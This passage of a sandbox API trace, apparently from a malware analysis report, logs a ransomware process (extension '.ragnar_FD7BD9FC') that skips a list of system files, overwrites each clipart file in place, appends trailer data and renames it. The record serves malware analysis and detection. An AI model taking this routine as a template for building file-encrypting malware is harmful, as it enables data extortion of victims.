hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4de6, lpOverlapped=0x0) returned 1 [0086.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.282] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4de6, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.282] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4de6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4de6, lpOverlapped=0x0) returned 1 [0086.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4de6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.282] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4de6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.282] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.282] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.282] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.282] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.282] GetProcessHeap () returned 0x580000 [0086.282] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.282] CloseHandle (hObject=0xf4) returned 1 [0086.283] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" [0086.283] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ragnar_FD7BD9FC" [0086.283] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.283] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0086.283] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.283] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0233512.WMF" | out: lpString1="J0233512.WMF") returned="J0233512.WMF" [0086.283] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned=".WMF" [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="autorun.inf") returned 1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="boot.ini") returned 1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootfont.bin") returned 1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootsect.bak") returned 1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootmgr") returned 1 [0086.283] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootmgr.efi") returned 1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootmgfw.efi") returned 1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="desktop.ini") returned 1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="iconcache.db") returned 1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ntldr") returned -1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ntuser.dat") returned -1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ntuser.dat.log") returned -1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ntuser.ini") returned -1 [0086.284] lstrcmpiW (lpString1="J0233512.WMF", lpString2="thumbs.db") returned -1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.284] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf")) returned 0x20 [0086.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.284] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9960) returned 1 [0086.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.284] GetProcessHeap () returned 0x580000 [0086.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.285] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.286] VirtualAlloc (lpAddress=0x0, dwSize=0x26e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.286] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x26e8, lpOverlapped=0x0) returned 1 [0086.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.287] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.287] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x26e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x26e8, lpOverlapped=0x0) returned 1 [0086.287] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.287] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.288] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.288] GetProcessHeap () returned 0x580000 [0086.288] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.288] CloseHandle (hObject=0xf4) returned 1 [0086.288] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" [0086.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ragnar_FD7BD9FC" [0086.288] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.289] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0086.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.289] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0233665.WMF" | out: lpString1="J0233665.WMF") returned="J0233665.WMF" [0086.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF") returned=".WMF" [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="autorun.inf") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="boot.ini") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootfont.bin") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootsect.bak") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootmgr") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootmgr.efi") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootmgfw.efi") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="desktop.ini") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="iconcache.db") returned 1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ntldr") returned -1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ntuser.dat") returned -1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ntuser.dat.log") returned -1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ntuser.ini") returned -1 [0086.289] lstrcmpiW (lpString1="J0233665.WMF", lpString2="thumbs.db") returned -1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.290] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf")) returned 0x20 [0086.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.291] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12588) returned 1 [0086.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.291] GetProcessHeap () returned 0x580000 [0086.291] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.291] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.292] VirtualAlloc (lpAddress=0x0, dwSize=0x312c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.292] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x312c, lpOverlapped=0x0) returned 1 [0086.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x312c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.294] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x312c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x312c, lpOverlapped=0x0) returned 1 [0086.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x312c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.294] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x312c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.294] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.294] GetProcessHeap () returned 0x580000 [0086.294] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.294] CloseHandle (hObject=0xf4) returned 1 [0086.295] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" [0086.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ragnar_FD7BD9FC" [0086.295] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.295] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0086.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.295] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0233992.WMF" | out: lpString1="J0233992.WMF") returned="J0233992.WMF" [0086.295] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF") returned=".WMF" [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="autorun.inf") returned 1 [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="boot.ini") returned 1 [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootfont.bin") returned 1 [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootsect.bak") returned 1 [0086.295] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootmgr") returned 1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootmgr.efi") returned 1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootmgfw.efi") returned 1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="desktop.ini") returned 1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="iconcache.db") returned 1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ntldr") returned -1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ntuser.dat") returned -1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ntuser.dat.log") returned -1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ntuser.ini") returned -1 [0086.296] lstrcmpiW (lpString1="J0233992.WMF", lpString2="thumbs.db") returned -1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.296] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf")) returned 0x20 [0086.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.296] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38750) returned 1 [0086.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.296] GetProcessHeap () returned 0x580000 [0086.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.297] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.298] VirtualAlloc (lpAddress=0x0, dwSize=0x975e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.298] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x975e, lpOverlapped=0x0) returned 1 [0086.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.300] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x975e, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.300] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x975e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x975e, lpOverlapped=0x0) returned 1 [0086.300] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x975e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.300] VirtualFree 